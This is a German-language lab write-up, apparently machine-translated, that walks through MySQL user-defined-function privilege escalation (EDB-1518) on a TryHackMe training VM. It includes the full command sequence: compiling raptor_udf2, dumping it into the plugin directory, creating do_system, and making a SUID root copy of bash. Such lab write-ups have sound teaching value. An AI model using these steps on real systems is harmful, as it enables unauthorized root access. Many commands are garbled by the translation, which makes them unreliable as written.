Dieses Mal werden wir in der Exploit-Datenbank "EDB-1518: Erhöhung der Berechtigung mithilfe von MySQL User Defined Function" ausprobieren.
Die Zielmaschine nutzt den Raum unten von TryHackme.
"Tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc "





Überblick über EDB-1518
EDB-1518: MySQL 4.x/5.0 (Linux)-Dynamische Bibliothek (Benutzerdefinierte Funktion (UDF) (2) besagt, dass die Berechtigungskalation erreicht werden kann, indem die benutzerdefinierte Funktion von MySQL missbraucht wird.

Mit UDFS können Sie böswillige Funktionen erstellen, die Befehle im Betriebssystem mit den gleichen Berechtigungen wie MySQL -Diensten ausführen.
Wenn Sie MySQL als Root auf der Zielmaschine ausführen, können Sie den Befehl als Root ausführen.
Was ist die benutzerdefinierte Funktion (UDF)?
Eine benutzerdefinierte Funktion ist ein Mechanismus, mit dem Sie neue Funktionen erstellen können, die wie integrierte MySQL-Funktionen funktionieren, und eine Möglichkeit ist, MySQL zu erweitern.
Die Schritte zum Ausführen eines UDF sind wie folgt:
- Erstellen von Bibliotheken (hauptsächlich C/C ++)
- Kompilieren Sie die Bibliothek in ein gemeinsames Objekt
- Stellen Sie gemeinsam genutzte Objekte in das Plugin -Verzeichnis ein
- Erstellen einer Funktion zur Ausführung eines gemeinsam genutzten Objekts in MySQL
Stellen Sie die schutzbedürftige Debian VM ein
Starten Sie die Zielmaschine


Melden Sie sich bei SSH bei Ihrem Benutzerkonto an
ssh user@[machine_ip]
$ ssh user@10.10.77.90 Die Authentizität von Host '10 .10.77.90 (10.10.77.90) kann nicht festgelegt werden. RSA Key Fingerabdruck ist SHA256: JWWPVFQC+8LPQDA0B9WFLZZXCXCXCOAHO6S8WYGJKTANK. Sind Sie sicher, dass Sie sich weiter verbinden möchten (ja/nein)? Ja Warnung: Dauerhaft '10 .10.77.90 '(RSA) in die Liste der bekannten Hosts. user@10.10.77.90's Passwort: Linux Debian 2.6.32-5-amd64 #1 SMP-TUE 13. Mai 16:34:35 UTC 2014 x86_64 Die mit dem Debian GNU/Linux-System enthaltenen Programme sind kostenlose Software. Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Debian GNU/Linux verfügt über eine Garantie, sofern dies nach geltendem Recht zulässig ist. Letzter Login: Fr 15. Mai 06:41:23 2020 von 192.168.1.125
$ id uid = 1000 (Benutzer) GID = 1000 (Benutzer) Gruppen = 1000 (Benutzer), 24 (Cdrom), 25 (Floppy), 29 (Audio), 30 (DIP), 44 (Video), 46 (PlugDev)

Überprüfen Sie die Bedingungen für die Eskalation der Privilegien
Da es nur für die Eskalation von Privilegien anwendbar ist, wird angenommen, dass Sie sich beim Zielserver anmelden können.
Überprüfen Sie, ob MySQL ausgeführt wird
Überprüfen Sie zunächst, ob MySQL ausgeführt wird.
Führen Sie den folgenden Befehl aus:
netstat -tulpn
Wenn Sie die 12. Zeile überprüfen, können Sie sehen, dass "2000/MySQLD" auf "Hören" eingestellt ist.
root@debian:~# netstat -tulpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1199/portmap tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1826/nginx tcp 0 0 0.0.0.0:52341 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1837/sshd tcp 0 0 0.0.0.0:37143 0.0.0.0:* LISTEN 1231/rpc.statd tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 2380/exim4 tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:49379 0.0.0.0:* LISTEN 1627/rpc.mountd tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 2000/mysqld tcp6 0 0 :::80 :::* LISTEN 1661/apache2 tcp6 0 0 :::22 :::* LISTEN 1837/sshd udp 0 0 0.0.0.0:68 0.0.0.0:* 1169/dhclient udp 0 0 0.0.0.0:60102 0.0.0.0:* 1627/rpc.mountd udp 0 0 0.0.0.0:57929 0.0.0.0:* 1231/rpc.statd udp 0 0 127.0.0.1:983 0.0.0.0:* 1231/rpc.statd udp 0 0 0.0.0.0:111 0.0.0.0:* 1199/portmap udp 0 0 0.0.0.0:44152 0.0.0.0:* - udp 0 0 0.0.0.0:2049 0.0.0.0:* - -
Überprüfen Sie, wer der Service ausführt (Prozesseigentümer)
Stellen Sie als nächstes sicher, dass der MySQL -Testamentsvollstrecker root ist.
Der Befehl lautet wie folgt: Lassen Sie uns mit MySQL eingrenzen.
PS -f | Grep Mysql
Ich habe bestätigt, dass der Läufer von MySQLD Wurzel ist.
Dies zeigt an, dass UDFs ausgenutzt werden können, um den Befehl als Root auszuführen.
root@debian: ~# ps -f | Grep mysql root 1866 1 0 08:53? 00:00:00/bin/sh/usr/bin/mysqld_safe root 2000 1866 0 08:53? 00:00:00/usr/sbin/mysqld--basiert. 00:00:00 LOGGER -T MYSQLD -P DAMEMON.Error Root 2502 2481 0 09:00 Punkte/0 00:00:00 Grep Mysql
Überprüfen Sie die MySQL -Version
Wenn Sie UDFS ausnutzen, muss die MySQL -Version 4.x oder 5.x sein.
Der Befehl zum Überprüfen der MySQL -Version lautet wie folgt:
Mysql -v
Es heißt "5.1.73", daher scheint die Version auch kein Problem zu sein.
root@debian: ~# mysql -v mysql ver 14.14 Distribing 5.1.73 für debian-linux-gnu (x86_64) unter Verwendung von Readline 6.1
Überprüfen Sie, ob das Stammkennwort festgelegt ist
Standardmäßig gibt es keinen Stammkennwortsatz. Überprüfen Sie daher, ob Sie sich ohne Kennwort anmelden können.
Der Befehl lautet wie folgt:
MySQL -U Wurzel
Ich konnte mich ohne Passwort anmelden.
Wenn Sie ein Passwort benötigen, müssen Sie zuerst das Passwort finden, aber es scheint, dass es diesmal weggelassen werden kann.
root@debian: ~# mysql -u Root Willkommen im MySQL -Monitor. Befehle enden mit; oder \ g. Ihre MySQL-Verbindungs-ID ist 35 Serverversion: 5.1.73-1+Deb6u1 (Debian) Copyright (C) 2000, 2013, Oracle und/oder seine verbundenen Unternehmen. Alle Rechte vorbehalten. Oracle ist eine eingetragene Marke von Oracle Corporation und/oder seinen verbundenen Unternehmen. Andere Namen können Marken ihrer jeweiligen Eigentümer sein. Geben Sie "Hilfe" ein; " oder '\ h' für Hilfe. Geben Sie '\ C' ein, um die aktuelle Eingabeanweisung zu löschen. MySQL>
Überprüfen Sie die MySQL -Einstellungen
Lassen Sie uns schließlich die MySQL -Einstellungen überprüfen.
Überprüfen Sie zunächst Ihre Berechtigungen.
Ich bin ein super Benutzer von MySQL, damit ich sehen kann, dass ich vollen Zugriff habe.
MySQL> Show -Zuschüsse; + ---+ | Zuschüsse für root@localhost | + ----+ | Gewähren Sie alle Privilegien auf *. * An 'root'@'localhost' mit der Zuschussoption | + ---+ 1 Zeile in Set (0,00 Sek.)
Überprüfen Sie als nächstes Secure_file_priv.
Dies ist eine Option, um die Dateneingabe und die Ausgabe in MySQL zu begrenzen.
Diesmal war es leer, so dass es keine Grenze gab. Wenn es eine Grenze gibt, können Sie möglicherweise nicht angreifen.
MySQL> Variablen wie 'Secure_file_priv' anzeigen; + ---+ | Variable_name | Wert | + ----+ | Secure_file_priv | | +----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Überprüfen Sie auch das Plugin -Verzeichnis.
Es ist auf die Standardeinstellung für "/usr/lib/mysql/plugin" eingestellt.
MySQL> Variablen wie 'plugin_dir' anzeigen; + ---+ | Variable_name | Wert | + ----+ | Plugin_dir | /usr/lib/mysql/plugin | +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Jetzt haben Sie alle Anforderungen an eskalierende Privilegien.
Als nächstes greifen wir tatsächlich an.
Service -Exploits
Jetzt beginnt der Angriff.
Lassen Sie uns zunächst die Schritte überprüfen.
- Erstellen von Bibliotheken (hauptsächlich C/C ++)
- Kompilieren Sie die Bibliothek in ein gemeinsames Objekt
- Stellen Sie gemeinsam genutzte Objekte in das Plugin -Verzeichnis ein
- Erstellen einer Funktion zur Ausführung eines gemeinsam genutzten Objekts in MySQL
Diesen Zeitpunkt
Es ist mir egal, worauf ich diese Zeit anstrebe, aber ich werde nur sagen, dass ich mir die Apache -Protokolle ansehen möchte.
Es scheint, dass der aktuelle Benutzer keine Berechtigungen hat.
CD/var/log/apache2 -BASH: CD:/var/log/apache2: Berechtigung abgelehnt
Erstellen Sie eine Bibliothek
Anstatt die Bibliothek zu erstellen, erhalten Sie Raptor_udf2.c von
Explore-DB Wenn Sie jedoch Kali Linux verwenden, existiert es bereits, sodass ich diesmal die Schritte überspringen werde.
Kompilieren Sie die Bibliothek in ein gemeinsames Objekt
Kompilieren Sie es als nächstes in ein gemeinsames Objekt.
Stellen Sie sicher, dass Raptor_udf2.c gespeichert ist.
user@debian: ~ $ cd/home/user/tools/mysql-udf user@debian: ~/tools/mysql-udf $ ll insgesamt 4 -rw-r-R-- 1 Benutzer Benutzer 3378 15. Mai 2020 Raptor_udf2.c
Kompilieren Sie Raptor_udf2.c mit dem folgenden Befehl:
Benutzer@debian: ~/tools/mysql -udf $ gcc -g -c raptor_udf2.c -fpic user@debian: ~/tools/mysql -udf $ gcc -g -shared -wl, -soname, raptor_udf2.
Stellen Sie gemeinsam genutzte Objekte in das Plugin -Verzeichnis ein
Legen Sie als nächstes die gemeinsam genutzten Objekte in das Plugin -Verzeichnis.
Da Sie jedoch keine Berechtigungen im Plugin -Verzeichnis haben, müssen Sie MySQL verwenden.
Melden Sie sich zunächst als Root bei MySQL an.
Benutzer@Debian: ~/Tools/MySQL -udf $ MySQL -U Root Willkommen im MySQL -Monitor. Befehle enden mit; oder \ g. Ihre MySQL-Verbindungs-ID ist 35 Serverversion: 5.1.73-1+Deb6u1 (Debian) Copyright (C) 2000, 2013, Oracle und/oder seine verbundenen Unternehmen. Alle Rechte vorbehalten. Oracle ist eine eingetragene Marke von Oracle Corporation und/oder seinen verbundenen Unternehmen. Andere Namen können Marken ihrer jeweiligen Eigentümer sein. Geben Sie "Hilfe" ein; " oder '\ h' für Hilfe. Geben Sie '\ C' ein, um die aktuelle Eingabeanweisung zu löschen. MySQL>
Die zu verwendende Datenbank ist MySQL.
MySQL> Verwenden Sie MySQL; Lesen von Tabelleninformationen zum Abschluss von Tabellen- und Spaltennamen Sie können diese Funktion deaktivieren, um ein schnelleres Start mit -a -Datenbank zu erhalten
Verschieben Sie das freigegebene Objekt in das Plugin -Verzeichnis, indem Sie das freigegebene Objekt laden, auf die Tabelle speichern und die Dump -Datei in das Plugin -Verzeichnis ausgeben.
MySQL> TABLE FOO (Zeilenblob) erstellen; Abfrage OK, 0 Zeilen betroffen (0,01 Sek.) MySQL> In Foo-Werte einfügen (load_file ('/home/user/tools/mysql-udf/raptor_udf2.SO')); Abfrage OK, 1 Zeile betroffen (0,00 Sek.) MySQL> Wählen Sie * von Foo in DumpFile '/usr/lib/mysql/plugin/Raptor_udf2.SO'; Abfrage OK, 1 Zeile betroffen (0,00 Sekunden)
Erstellen einer Funktion zur Ausführung eines gemeinsam genutzten Objekts in MySQL
Erstellen Sie eine Funktion, die ein gemeinsam genanntes Objekt namens raptor_udf2 ausführt.
MySQL> Funktion erstellen do_system gibt ganzzahliger Soname 'Raptor_udf2.SO' zurück; Abfrage OK, 0 Zeilen betroffen (0,00 Sekunden)
Jetzt bist du bereit anzugreifen.
Führen Sie die Funktion aus, um SUID -Berechtigungen festzulegen
Führen Sie die Funktion aus, die Sie erstellt haben, um /bin /bash in /tmp /rootbash und setzen Sie SUID -Berechtigungen fest.
MySQL> Wählen Sie do_system ('cp /bin /bash /tmp /rootbash; chmod +xs /tmp /rootbash'); + ----+ | do_system ('cp /bin /bash /tmp /rootbash; chmod +xs /tmp /rootbash') | +------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ (0,01 Sek.)
Sobald Sie mit dem Einrichten fertig sind, beenden und beenden Sie MySQL.
MySQL> Beenden Sie Bye
Holen Sie sich eine Shell, die mit Root -Privilegien ausgeführt wird
Durch Ausführen einer ausführbaren Datei, die sich in /tmp /rootbash befindet, erhalten Sie eine Shell, die mit Root -Berechtigungen ausgeführt wird.
Benutzer@debian: ~/tools/mysql-udf $/tmp/rootbash -p rootbash-4.1#
Das Ziel erreichen
Lassen Sie uns nun die Apache -Protokolle überprüfen, die wir auf diese Zeit anstreben.
Ich denke, Sie können Orte sehen, an denen Sie früher keine Autorität hatten.
rootbash-4.1# cd/var/log/apache2 rootBash-4.1# ls access.log error.log error.log.2
Ich denke, wir haben jetzt bestätigt, dass die Eskalation des Privilegs erreicht wurde.
Sie können Tryhackme hier lassen.

Zusammenfassung
Dieses Mal habe ich "EDB-1518: Verbesserung der Berechtigungen mithilfe von MySQL User Defined Function" ausprobiert.
Bei Tryhackme gibt es nur einen Gegenstand, aber wenn es darum geht, es tatsächlich zu tun, war es schwierig, weil es eine Menge Nachforschungen erforderte.
Ich werde auch die folgenden Aufgaben von Tryhackme erledigen, also schauen Sie sich bitte an.
Referenzen und Websites
Juggernaut Pentesting Academy: https://juggernaut-sec.com/mysql-user-defined-functions/
MEDIUM (Nairuz Abulhul): https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf